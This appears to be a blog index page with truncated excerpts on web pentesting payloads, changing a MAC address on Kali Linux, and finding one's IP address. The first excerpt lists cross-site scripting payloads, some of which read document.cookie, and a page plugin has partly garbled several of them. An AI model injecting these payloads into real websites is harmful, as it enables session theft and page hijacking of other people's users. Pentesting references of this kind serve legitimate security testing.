Payloads for web pentesting

List of Pay Loads Note that using these payloads without proper authorization and permission is illegal and unethical. It is important to only use them for legitimate testing purposes and with the owner’s consent. XSS Payloads <script>alert(“XSS”);</script> <img src=”x” data-lazy-src=”http://x?is-pending-load=1″ srcset=”data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7″ class=” jetpack-lazy-image”><noscript><img data-lazy-fallback=”1″ src=x onerror=alert(‘XSS’) /></noscript> <script>prompt(document.cookie)</script> <svg/onload=alert(document.cookie)> <iframe src=”javascript:alert(‘XSS’);”></iframe> <img decoding=”async” src=”alert(&#039;XSS&#039;);” data-lazy-src=”http://alert(&#039;XSS&#039;);?is-pending-load=1″ … Read more

change MAC address on Kali Linux

This operation requires root privileges. Do the following # macchanger -s eth0 You need yo turn down the interface before changin its MAC address change. Use ifconfig command to turn off your network interface. Remember to have root privileges otherwise you cannot run ifconfig: # ifconfig eth0 down If the following error message appears you … Read more

getting my ip

Depending on what software you have installed the best way to get you external IP is running the following command # echo $(wget -qO – https://api.ipify.org) OR # echo $(curl -s https://api.ipify.org) while getting the internal IP can be achieved with # ifconfig | grep -w inet | awk ‘{ print $2}’ OR # ip … Read more